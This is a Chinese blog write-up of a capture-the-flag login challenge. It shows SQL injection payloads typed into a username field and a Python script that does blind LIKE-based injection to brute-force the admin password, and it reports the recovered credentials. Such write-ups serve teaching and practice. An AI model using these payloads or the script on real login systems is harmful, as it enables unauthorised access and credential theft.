百度杯 十月场 登陆

打开题目,是普通的登录界面,用sqlmap试了下,并没有可以注入的地方。但是根据题目,还是需要先登陆,然后才能进行后一步的动作。

在用户名中输入:username' or 1=1#  和  username' or 1=2# 的结果不同。一个是密码错误,一个是用户名不存在,判断存在注入

通过查看资料,https://blog.csdn.net/m0_37921080/article/details/79972064,提示可以用 like 进行注入,admin’ or database() like ‘c%’ ;#

用以下脚本:

import string
import requests


url = 'http://4f8d67166115472d8dd1ddc52fb24c48d6e10f61120f4a07.game.ichunqiu.com/Challenges/login.php'
headers = {'User-Agent': "Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0"}
payloads = string.ascii_letters + string.digits
temp = ''
for i in range(100):
    print("hello")
    for p in payloads:
        payload = temp + p
        name = "admin' or p3ss_w0rd like '{}%' ;#".format(payload)
        data = dict(username=name, passwrod='test')
        res = requests.post(url, headers=headers, data=data)
        if (len(res.content) == 12):
            temp = temp + p
            print(temp.ljust(32, '.'))
            break

得到用户名(bctf3dm1n)和密码(MD5:2bfb1532857ddc0033fdae5bde3facdf,解密:adminqwe123666),其中把源码中的类名user_n3me和p3ss_w0rd作为数据库表的字段名,对字段内容进行猜解。

成功登陆后,发现是git(根据提示),用GitHack脚本还原git库,下载下来一个flag.php但是没有用。

 

posted on 2018-08-29 10:59  IAmGroot!  阅读(171)  评论(0编辑  收藏  举报

导航